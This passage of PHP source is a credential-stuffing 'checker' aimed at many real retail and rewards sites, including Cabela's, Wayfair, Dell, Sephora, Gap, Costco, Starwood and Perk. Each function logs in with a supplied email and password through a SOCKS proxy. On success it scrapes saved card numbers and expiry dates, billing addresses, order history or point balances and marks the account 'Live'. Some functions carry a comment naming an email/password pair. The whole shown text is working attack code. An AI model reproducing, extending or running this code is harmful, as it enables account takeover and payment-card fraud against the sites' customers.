2170 $cc .= "[ ".$ccnum." | ".$month." | ".$year." | ".$bill." ] ";
2171 }
2172 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | Total Cards: $total | $cc";
2173
2174 }
2175
2176 elseif (strpos($page, 'Error Summary')) {
2177 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2178 '<br>';
2179 $tdie++;
2180 } else {
2181 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2182 '|' . '<br>';
2183 }
2184 flush(); ob_flush();
2185
2186 $curl->close();
2187 unset($curl); // destroy object
2188 }
2189 else
2190 {
2191 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2192 '|' . '<br>';
2193 }
2194}
2195function cabelas($m,$p,$sock)
2196{
2197 //pycoder@live.com|quocthang
2198 $curl = new curl;
2199 $curl->cookie(true);
2200 $curl->cookiefile('cookies/ck_'.md5(microtime()).'.txt');
2201 $curl->timeout("30");
2202 if($sock) {$curl->proxy($sock);}
2203 $curl->ssl(0, 2);
2204 $url1 = "https://www.cabelas.com/user/login.jsp";
2205
2206 $page = $curl->get($url1);
2207 $curl->referer("https://www.cabelas.com/user/login.jsp");
2208
2209 if ($page) {
2210 $data = "form_state=loginForm&dest=&loginAction=TRUE&userName=$m&password=$p&x=34&y=16";
2211 $page = $curl->post("https://www.cabelas.com/user/login.cmd", $data, 1, 1, 0);
2212
2213 if (strpos($page, 'Log Out')) {
2214 $page = $curl->get("https://www.cabelas.com/user/creditcards_info.jsp");
2215 $page = explode('<span class="ccChangeDate">',$page);
2216 $count = count($page);
2217 $i = 0;
2218 while($i < ($count-1))
2219 {
2220 $now = $page[$i];
2221 $cc .= " [ ".getStr($now,'<h3 class="ccName">','</h3>')." - ".getStr($now,'<p>Expires: <span class="bold">','</span>')." ]";
2222 $i++;
2223 }
2224 $page = $curl->get("https://www.cabelas.com/user/billing_address.jsp");
2225 $add = getStr($page,'name="firstName" type="text" value="','"')." ".getStr($page,'name="lastName" type="text" value="','"')." ".getStr($page,'name="address1" type="text" value="','"')." ".getStr($page,'name="city" type="text" value="','"')." ".getStr(getStr($page,'<span class="js-stateInputElements jsOnlyDisplayBlock">','</div>'),'selected>','<')." ".getStr($page,'name="zipCode" type="text" value="','"')." ".getStr($page,'name="homePhoneNumber" type="text" value="','"');
2226 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $cc | $add";
2227 }
2228 elseif (strpos($page, 'Please try again')) {
2229 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2230 '<br>';
2231 $tdie++;
2232 } else {
2233 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2234 '|' . '<br>';
2235 }
2236 flush(); ob_flush();
2237
2238 $curl->close();
2239 unset($curl); // destroy object
2240 }
2241 else
2242 {
2243 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2244 '|' . '<br>';
2245 }
2246}
2247function wayfair($m,$p,$sock)
2248{
2249
2250 $curl = new curl;
2251 $curl->cookie(true);
2252 $curl->cookiefile('cookies/ck_'.md5(microtime()).'.txt');
2253 $curl->timeout("30");
2254 if($sock) {$curl->proxy($sock);}
2255 $curl->ssl(0, 2);
2256 $url1 = "https://www.wayfair.com/session/secure/account/login.php?url=%2F";
2257
2258 $page = $curl->get($url1);
2259 $curl->referer($url1);
2260
2261 if ($page) {
2262 $data = "url=%2F&login_email=$m&login_password=$p&login_submit=Log+Into+My+Account";
2263 $page = $curl->post($url1, $data, 1, 1, 0);
2264
2265 if (!strpos($page, 'Returning Customers')) {
2266 $page = $curl->get("https://www.wayfair.com/session/secure/account/manage_credit_cards.php");
2267 preg_match_all("/<td data-name=\"card_type\">(.*)<\/td>/", $page, $matches);
2268 preg_match_all("/<td data-name=\"number\">(.*)<\/td>/", $page, $matches2);
2269 preg_match_all("/<td data-name=\"exp_month\">(.*)<\/span><\/td>/", $page, $matches3);
2270
2271 $i = 0;
2272 while($i<count($matches[1]))
2273 {
2274 $cc .= " [".$matches[1][$i]."-".$matches2[0][1]."-".$matches3[0][1]."]";
2275 $i++;
2276 }
2277 $add = getStr($page,'<td data-name="holder_name">','</td>')." | ".getStr($page,'<td><strong>Billing Address</strong></td>','<span data-name="state_id"');
2278 $add = strip_tags(str_replace("</span>", " | ", $add));
2279
2280 $page = $curl->get("https://www.wayfair.com/session/secure/account/order_search.php");
2281 if(strpos($page,'You have placed no orders in the last six months.'))
2282 {
2283 $order = "No Order";
2284 }
2285 else
2286 {
2287 $order = "Have Order";
2288 }
2289 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $cc | $add ";
2290 }
2291 elseif (strpos($page, 'Returning Customers')) {
2292 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2293 '<br>';
2294 $tdie++;
2295 } else {
2296 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2297 '|' . '<br>';
2298 }
2299 flush(); ob_flush();
2300
2301 $curl->close();
2302 unset($curl); // destroy object
2303 }
2304 else
2305 {
2306 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2307 '|' . '<br>';
2308 }
2309}
2310function shopto($m,$p,$sock)
2311{
2312 $curl = new curl;
2313 $curl->cookiefile('cookies/ck_'.md5(microtime()).'.txt');
2314 $curl->timeout("30");
2315 if($sock) {$curl->proxy($sock);}
2316 $curl->ssl(0, 2);
2317 $url1 = "https://secure.shopto.net/login";
2318 $url2 = "https://secure.shopto.net/account/carddetails";
2319 $url3 = "https://secure.shopto.net/account/summary";
2320 $page = $curl->get($url1);
2321 $curl->referer("https://secure.shopto.net/login");
2322 if ($page) {
2323
2324 $data = "LoginForm%5Busername%5D=$m&LoginForm%5Bpassword%5D=$p&yt0=Login";
2325 $page = $curl->post($url1, $data, 1, 1, 0);
2326
2327 if (!strpos($page, 'invalid')) {
2328 $page = $curl->get($url2);
2329 if(strpos($page,'You do not have any credit cards, please add one.'))
2330 {
2331 $cc = "No Card";
2332 }
2333 else
2334 {
2335 $cc = "Have Card";
2336 }
2337 $page = $curl->get($url3);
2338 $bill = strip_tags(getStr($page,'Billing Address','<div class="clear"></div>'));
2339 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $cc | $bill";
2340 }
2341 elseif (strpos($page, 'invalid')) {
2342 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2343 '<br>';
2344 $tdie++;
2345 } else {
2346 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2347 '|' . '<br>';
2348 }
2349 flush(); ob_flush();
2350
2351 $curl->close();
2352 unset($curl); // destroy object
2353 }
2354 else
2355 {
2356 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2357 '|' . '<br>';
2358 }
2359}
2360//////////////////////////////////////////////////////////////////////////////////////<option value="pixmania">pixmania.co.uk</option>
2361function pixmania($m,$p,$sock)
2362{
2363 $curl = new curl;
2364 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
2365 $curl->cookiefile($cookie);
2366 $curl->timeout("30");
2367 if($sock != '') {$curl->proxy($sock);}
2368 $curl->ssl(0, 2);
2369
2370 $url1 = "https://www.pixmania.co.uk/secure/authentication_s.html";
2371 $url2 = "https://www.pixmania.co.uk/secure/authentication_s.html";
2372
2373 $page = $curl->get($url1);
2374
2375
2376 if ($page) {
2377 $curl->referer($url1);
2378 $b1 = getStr($page,'<input type="hidden" name="54','" value="');
2379 $b1 = '54'.$b1.'';
2380
2381 $b2 = getStr($page,'<input type="hidden" name="'.$b1.'" value="','" />');
2382
2383
2384
2385 $data = "subaction=authentication&validate_authentication=true&sFormName=header-login&$b1=$b2&sEmail=$m&sPassword=$p";
2386 $page = $curl->post($url2, $data, 1, 1, 0);
2387
2388 if (strpos($page, 'Your personal details')) {
2389 $add = strip_tags(getStr($page,'<p class="address sep">','</p>'));
2390
2391 //$page = $curl->get("https://www.pixmania.co.uk/secure/my_account_s.html");
2392 $add2 = getStr($page,'<h4>Your billing address</h4>','</div>');
2393 if(strpos($page,'Track your last order '))
2394 {
2395 $order = " Have Order";}
2396 else{
2397 $order = "Have not order";
2398 }
2399
2400
2401 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $add |$order| $add2";
2402 }
2403 if (strpos($page, 'Please enter a valid e-mail address'))
2404 {
2405 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2406 '<br>';
2407 $tdie++;
2408 }
2409 elseif (strpos($page, 'Incorrect password'))
2410 {
2411 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2412 '<br>';
2413 $tdie++;
2414 }
2415 else
2416 {
2417
2418 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2419 '|' . '<br>';
2420 }
2421 flush(); ob_flush();
2422
2423 $curl->close();
2424 unset($curl); // destroy object
2425 }
2426}
2427////////////////////////////////////////////////// end /////////////////////////////////////
2428function vindale($m,$p,$sock)
2429{
2430 $curl = new curl;
2431 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
2432 $curl->cookiefile($cookie);
2433 $curl->timeout("30");
2434 if($sock != '') {$curl->proxy($sock);}
2435 $curl->ssl(0, 2);
2436
2437 $url1 = "https://www.vindale.com/v/signIn.jsp";
2438 $url2 = "https://www.vindale.com/v/doSignIn.jsp";
2439
2440 $page = $curl->get($url1);
2441 if ($page) {
2442 $curl->referer($url1);
2443
2444 $data = "url=&email=$m&password=$p&x=50&y=25";
2445 $page = $curl->post($url2, $data, 1, 1, 0);
2446
2447 if (!strpos($page, 'Please sign in')) {
2448 $balance = strip_tags(getStr($page,'<div class="accountbalance">','</div>'));
2449
2450 $page = $curl->get("https://www.vindale.com/v/members/profile.jsp");
2451 $ppmail = getStr($page,'name="paypalEmail" type="text" size="30" maxlength="255" autocorrect="off" autocapitalize="off" value="','"');
2452
2453 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $balance";
2454 }
2455 elseif (strpos($page, 'Please sign in')) {
2456 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2457 '<br>';
2458 $tdie++;
2459 } else {
2460 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2461 '|' . '<br>';
2462 }
2463 flush(); ob_flush();
2464
2465 $curl->close();
2466 unset($curl); // destroy object
2467 }
2468}
2469function dell($m,$p,$sock)
2470{
2471 $curl = new curl;
2472 $curl->cookiefile('cookies/ck_'.md5(microtime()).'.txt');
2473 $curl->timeout("30");
2474 if($sock) {$curl->proxy($sock);}
2475 $curl->ssl(0, 2);
2476 $url1 = "https://pbar.us.dell.com/pbar/login.aspx?level=4&c=us&s=gen&l=en";
2477 $url2 = "https://ecomm.dell.com/dellstore/myaccount/PaymentDefault.aspx?c=us&cs=19&l=en&s=dhs";
2478 $page = $curl->get($url1);
2479
2480 if ($page) {
2481
2482 $data = "email=$m&password=$p&myLogin=true&isparentpagesecure=False";
2483 $page = $curl->post($url1, $data, 1, 1, 0);
2484
2485 if (!strpos($page, 'do not match')) {
2486 $page = $curl->get($url2);
2487 if(strpos($page,'You do not have any credit cards, please add one.'))
2488 {
2489 $cc = "No Card";
2490 }
2491 else
2492 {
2493 $cc = getStr($page,'<b><span class="para">Secondary</span></b>','<table cellpadding="2" cellspacing="0">');
2494 $cc = str_replace('</span><br/><span class="para">'," ", $cc);
2495 $cc = strip_tags($cc);
2496 }
2497
2498 $bill = strip_tags(getStr($page,'<span id="ccBilling_ctl00_ccBilling_addr" ReadOnly="True" AddressType="billing"><span class="para">','<table>'));
2499 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $cc | $bill";
2500 }
2501 elseif (strpos($page, 'do not match')) {
2502 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2503 '<br>';
2504 $tdie++;
2505 } else {
2506 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2507 '|' . '<br>';
2508 }
2509 flush(); ob_flush();
2510
2511 $curl->close();
2512 unset($curl); // destroy object
2513 }
2514 else
2515 {
2516 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2517 '|' . '<br>';
2518 }
2519}
2520function points2shop($m,$p,$sock)
2521{
2522 $curl = new curl;
2523 $curl->cookiefile('cookies/ck_'.md5(microtime()).'.txt');
2524 $curl->timeout("30");
2525 if($sock) {$curl->proxy($sock);}
2526 $curl->ssl(0, 2);
2527 $url1 = "https://www.points2shop.com/mobile";
2528 $url2 = "https://www.points2shop.com/mobile/sign_in";
2529
2530 $page = $curl->get($url1);
2531
2532 if ($page) {
2533 $curl->referer($url1);
2534 $user = rm($m);
2535
2536 $data = "login=$user&password=$p";
2537 $page = $curl->post($url2, $data, 1, 1, 0);
2538
2539 if (!strpos($page, '"status": false')) {
2540 $curl->referer($url2);
2541 $page = $curl->get("https://www.points2shop.com/mobile");
2542
2543 $info = "Level: ".getStr($page,'"honour_level": "','"')." | Points:".getStr($page,'"points":',', "')." | Merits:".getStr($page,'"merits":',', "')." | Ref:".getStr($page,'"total_referrals":',', "')." | Tickets:".getStr($page,'"total_lottery_tickets_upcoming":',', "');
2544 return "<font color=yellow><b>Live</b></font> | $sock | $user | $p | $m @@@@ | $info";
2545
2546 }
2547 elseif (strpos($page, '"status": false')) {
2548 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2549 '<br>';
2550 $tdie++;
2551 } else {
2552 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2553 '|' . '<br>';
2554 }
2555 flush(); ob_flush();
2556
2557 $curl->close();
2558 unset($curl); // destroy object
2559 }
2560 else
2561 {
2562 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2563 '|' . '<br>';
2564 }
2565}
2566function starwoodhotels($m,$p,$sock)
2567{
2568 $curl = new curl;
2569 $curl->cookiefile('cookies/ck_'.md5(microtime()).'.txt');
2570 $curl->timeout("30");
2571 if($sock) {$curl->proxy($sock);}
2572 $curl->ssl(0, 2);
2573 $url1 = "https://www.starwoodhotels.com/preferredguest/account/sign_in.html";
2574
2575 $page = $curl->get($url1);
2576
2577 if ($page) {
2578 $curl->referer($url1);
2579
2580 $data = "successPath=%2Faccount%2Findex.html&login=$m&password=$p";
2581 $page = $curl->post($url1, $data, 1, 1, 0);
2582
2583 if (!strpos($page, 'Please correct any errors')) {
2584 $page = $curl->get("https://www.starwoodhotels.com/preferredguest/account/index.html");
2585
2586 $info = getStr($page,'<span id="accountBalance">','</b>');
2587 $info = strip_tags($info);
2588
2589 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $info";
2590
2591 }
2592 elseif (strpos($page, 'Please correct any errors')) {
2593 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2594 '<br>';
2595 $tdie++;
2596 } else {
2597 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2598 '|' . '<br>';
2599 }
2600 flush(); ob_flush();
2601
2602 $curl->close();
2603 unset($curl); // destroy object
2604 }
2605 else
2606 {
2607 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2608 '|' . '<br>';
2609 }
2610}
2611
2612function sephora($m,$p,$sock)
2613{
2614 $curl = new curl;
2615 $curl->cookiefile('cookies/ck_'.md5(microtime()).'.txt');
2616 $curl->timeout("30");
2617 if($sock) {$curl->proxy($sock);}
2618 $curl->ssl(0, 2);
2619 $url1 = "http://www.sephora.com/";
2620 $url2 = "https://www.sephora.com/profile/login/response/loginValidationMsg.jsp";
2621 $page = $curl->get($url1);
2622 $curl->referer("https://www.sephora.com/popups/securePopup.jsp?dialog=Signon&redirectTo=http%3A%2F%2Fwww.sephora.com%2F&refresh=true&ts=1373271458865");
2623 if ($page) {
2624
2625 $data = "_dyncharset=UTF-8&%2Fatg%2Fuserprofiling%2FProfileFormHandler.moveToMylistFromBasket=&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.moveToMylistFromBasket=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.skuIdForMyList=&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.skuIdForMyList=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.productIdForMyList=&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.productIdForMyList=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.commerceIdForMyList=&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.commerceIdForMyList=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.useForwards=true&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.useForwards=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.provider=lithium&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.provider=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.login=$m&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.login=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.password=$p&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.password=+&sign_in=sign+in&_D%3Asign_in=+&_DARGS=%2Fpopups%2FpopupLogin.jsp";
2626 $page = $curl->post($url2, $data, 1, 1, 0);
2627
2628 if (strpos($page, 'is_cart_merged":false')) {
2629 $page = $curl->get("https://www.sephora.com/profile/MyAccount/PaymentMethods/paymentMethods.jsp");
2630 $page = explode('<span class="ext" style="display: none;">',$page);
2631 $count = count($page)-1;
2632
2633 $i = 0;
2634 while($i < $count)
2635 {
2636 $cc .= " [ ".getStr($page[$i],'xxxx-xxxx-','</span>')." - ".getStr($page[$i],'Expires: <span>','</span>')." ]";
2637 $i++;
2638 }
2639 if($count == 0)
2640 {
2641 $cc = "No Card";
2642 }
2643 $page = $curl->get("https://www.sephora.com/profile/MyAccount/MyInformation/myInformation.jsp");
2644 $page = explode('<dl class="info">',$page);
2645 $add = getStr($page[2],'<dt class="names"><span class="full-name OneLinkNoTx">','</dl>');
2646 $add = str_replace("(default shipping address)", "", $add);
2647 $add = strip_tags($add);
2648 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $cc | $add";
2649 }
2650 elseif (!strpos($page, 'is_cart_merged":false')) {
2651 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2652 '<br>';
2653 $tdie++;
2654 } else {
2655 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2656 '|' . '<br>';
2657 }
2658 flush(); ob_flush();
2659
2660 $curl->close();
2661 unset($curl); // destroy object
2662 }
2663 else
2664 {
2665 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2666 '|' . '<br>';
2667 }
2668}
2669function amz2($m,$p,$sock)
2670{
2671 $curl = new curl;
2672 $curl->cookiefile(null);
2673 $curl->timeout("30");
2674 if($sock) {$curl->proxy($sock);}
2675 $curl->ssl(0, 2);
2676
2677 $url1 = "https://www.amazon.com/ap/register?ie=UTF8&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&pageId=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.assoc_handle=usflex&create=1&openid.pape.max_auth_age=0&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&email=$m&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&y=16&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fyourstore%2Fhome%3Fie%3DUTF8%26ref_%3Dgno_signin&x=138";
2678
2679 $page = $curl->get($url1);
2680 if ($page) {
2681
2682 if (strpos($page, "account already exists")) {
2683 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@";
2684 } elseif (!strpos($page, "account already exists")) {
2685 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2686 '<br>';
2687 $tdie++;
2688 } else {
2689 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2690 '|' . '<br>';
2691 }
2692 flush(); ob_flush();
2693
2694 $curl->close();
2695 unset($curl); // destroy object
2696 }
2697 else
2698 {
2699 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2700 '|' . '<br>';
2701 }
2702}
2703function recyclebank($m,$p,$sock)
2704{
2705 $curl = new curl;
2706 $curl->cookiefile(null);
2707 $curl->timeout("30");
2708 if($sock) {$curl->proxy($sock);}
2709 $curl->ssl(0, 2);
2710
2711 $url1 = "https://www.recyclebank.com/customer/auth/loginPost/";
2712
2713 $page = $curl->get($url1);
2714 if ($page) {
2715
2716 $data = "login%5Busername%5D=$m&login%5Bpassword%5D=$p";
2717
2718 $page = $curl->post($url1, $data, 1, 1, 0);
2719
2720 if (!strpos($page, "Invalid")) {
2721 $page = $curl->get("https://www.recyclebank.com/");
2722 $points = getStr($page,'<span class="points">','</span>');
2723 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $points Points";
2724 }
2725 elseif (strpos($page, "Invalid")) {
2726 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2727 '<br>';
2728 $tdie++;
2729 } else {
2730 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2731 '|' . '<br>';
2732 }
2733 flush(); ob_flush();
2734 }
2735 else
2736 {
2737 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2738 '|' . '<br>';
2739 }
2740 $curl->close();
2741 unset($curl);
2742}
2743function gap($m,$p,$sock)
2744{
2745 //pycoder@live.com|quocthang
2746 $curl = new curl;
2747 $curl->cookiefile(null);
2748 $curl->timeout("30");
2749 if($sock) {$curl->proxy($sock);}
2750 $curl->ssl(0, 2);
2751
2752 $url1 = "https://secure-www.gap.com/profile/validate_sign_in.do";
2753
2754 $page = $curl->get($url1);
2755 if ($page) {
2756
2757 $data = "emailAddress=$m&password=$p&signInButton.x=16&signInButton.y=10&userType=1&targetURL=%2F&forwardName=&context=SIGN_IN&hint=";
2758
2759 $page = $curl->post($url1, $data, 1, 1, 0);
2760
2761 if (!strpos($page, "Returning customers")) {
2762 $page = $curl->get("https://secure-www.gap.com/profile/credit_card_summary.do?locale=en_US");
2763 preg_match_all("/<span class=\"cardNameNumber\">(.*)<\/span>/", $page, $num);
2764 preg_match_all("/Expiration: (.*)<\/span>/", $page, $exp);
2765 $i = 0;
2766
2767 while($i<count($num[1]))
2768 {
2769 $cc .= " [".$num[1][$i]."-".$exp[1][$i]."]";
2770 $i++;
2771 }
2772 $cc = str_replace("XXXX ", "", $cc);
2773 if(count($num[1]) == 0)
2774 {
2775 $cc = "No Card";
2776 }
2777 $bill = getStr($page,'<span class="billingAddress">','</span>');
2778 $bill = strip_tags($bill);
2779 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $cc | $bill";
2780 }
2781 elseif (strpos($page, "Returning customers")) {
2782 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2783 '<br>';
2784 $tdie++;
2785 } else {
2786 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2787 '|' . '<br>';
2788 }
2789 flush(); ob_flush();
2790 }
2791 else
2792 {
2793 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2794 '|' . '<br>';
2795 }
2796 $curl->close();
2797 unset($curl);
2798}
2799function costco($m,$p,$sock)
2800{
2801 //pycoder@live.com|quocthang
2802 $curl = new curl;
2803 $curl->cookiefile(null);
2804 $curl->timeout("30");
2805 if($sock) {$curl->proxy($sock);}
2806 $curl->ssl(0, 2);
2807
2808 $url1 = "https://www.costco.com";
2809
2810 $page = $curl->get($url1);
2811 if ($page) {
2812 $curl->referer("https://www.costco.com/LogonForm?langId=-1&storeId=10301&catalogId=10701");
2813 $data = "storeId=10301&catalogId=10701&langId=-1&reLogonURL=LogonForm&URL=TopCategoriesDisplay&logonId=$m&logonPassword=$p&submitButton=signIn";
2814
2815 $page = $curl->post("https://www.costco.com/Logon", $data, 1, 1, 0);
2816 $page = $curl->get("https://www.costco.com/PaymentMethodDisplayView?storeId=10301&catalogId=10701&langId=-1");
2817
2818 if (strpos($page, "Stored Payment Method")) {
2819 $page = $curl->get("https://www.costco.com/PaymentMethodDisplayView?storeId=10301&catalogId=10701&langId=-1");
2820 preg_match_all("/<label>Credit Card Number:<\/label>(.*)<br\/>/i", $page, $num);
2821 preg_match_all("/<label>Expiration Date:<\/label>(.*)<br/i", $page, $exp);
2822 $i = 0;
2823 while($i<count($num[1]))
2824 {
2825 $cc .= " [ ".$num[1][$i]."-".$exp[1][$i]." ]";
2826 $i++;
2827 }
2828 $page = $curl->get("https://www.costco.com/AddressBookDisplayView?storeId=10301&catalogId=10701&langId=-1");
2829 $add = getStr($page,'Retrieve the state display name from the state code --><!-- BEGIN Address.jspf -->','<!-- END Address.jspf --><!-- END AddressDisplay.jspf -->');
2830 $add = strip_tags($add);
2831 $page = $curl->get("https://www.costco.com/OrderStatusCmd?storeId=10301&catalogId=10701&langId=-1");
2832 if(strpos($page,'No orders are foun'))
2833 {
2834 $order = "No Order";
2835 }
2836 else
2837 {
2838 $order = "Have Order";
2839 }
2840 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $cc | $order | $add";
2841 }
2842 elseif (strpos($page, "Registered Shoppers")) {
2843 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2844 '<br>';
2845 $tdie++;
2846 } else {
2847 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2848 '|' . '<br>';
2849 }
2850 flush(); ob_flush();
2851 }
2852 else
2853 {
2854 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2855 '|' . '<br>';
2856 }
2857 $curl->close();
2858 unset($curl);
2859}
2860function giftcardmall($m,$p,$sock)
2861{
2862 $curl = new curl;
2863 $curl->cookiefile(null);
2864 $curl->timeout("30");
2865 if($sock) {$curl->proxy($sock);}
2866 $curl->ssl(0, 2);
2867
2868 $url1 = "https://www.giftcardmall.com/signin.aspx";
2869
2870 $page = $curl->get($url1);
2871 if ($page) {
2872
2873 $state = getStr($page,'id="__VIEWSTATE" value="','"');
2874 $pre = getStr($page,'id="__PREVIOUSPAGE" value="','"');
2875 $event = getStr($page,'id="__EVENTVALIDATION" value="','"');
2876
2877 $data = "__LASTFOCUS=&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=".urlencode($state)."&__PREVIOUSPAGE=".urlencode($pre)."&__EVENTVALIDATION=".urlencode($event)."&ctl00%24ctl00%24ContentPlaceMainMaster%24ContentPlaceHolderTemplate5%24hdnQueryString=account.aspx%3F&ctl00%24ctl00%24ContentPlaceMainMaster%24ContentPlaceHolderTemplate5%24EMail=$m&ctl00%24ctl00%24ContentPlaceMainMaster%24ContentPlaceHolderTemplate5%24txtPassword=$p&ctl00%24ctl00%24ContentPlaceMainMaster%24ContentPlaceHolderTemplate5%24LoginButton.x=35&ctl00%24ctl00%24ContentPlaceMainMaster%24ContentPlaceHolderTemplate5%24LoginButton.y=1";
2878
2879 $page = $curl->post($url1, $data, 1, 1, 0);
2880
2881 if (!strpos($page, "Sign In")) {
2882
2883 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $cc | $order | $add";
2884 }
2885 elseif (strpos($page, "Sign In")) {
2886 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2887 '<br>';
2888 $tdie++;
2889 } else {
2890 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2891 '|' . '<br>';
2892 }
2893 flush(); ob_flush();
2894 }
2895 else
2896 {
2897 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2898 '|' . '<br>';
2899 }
2900 $curl->close();
2901 unset($curl);
2902}
2903function perk($m,$p,$sock)
2904{
2905 $curl = new curl;
2906 $curl->cookiefile(null);
2907 $curl->timeout("30");
2908 if($sock) {$curl->proxy($sock);}
2909 $curl->ssl(0, 2);
2910
2911 $url1 = "http://perk.com/accounts/ajax_login";
2912
2913 $page = $curl->get($url1);
2914 if ($page) {
2915
2916 $data = "email=$m&password=$p";
2917
2918 $page = $curl->post($url1, $data, 1, 1, 0);
2919
2920 if (!strpos($page, "Wrong email or password") && !strpos($page,'The password field must be at least 6 characters in length.') && !strpos($page,'Please enter a valid Email')) {
2921 $page = $curl->get("http://perk.com/accounts/logged_in_home");
2922 $point = getStr($page,'<td rowspan="2"><p class="point_green">','</p>');
2923 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $point Points";
2924 }
2925 elseif (strpos($page, "Wrong email or password") || strpos("The password field must be at least 6 characters in length.")) {
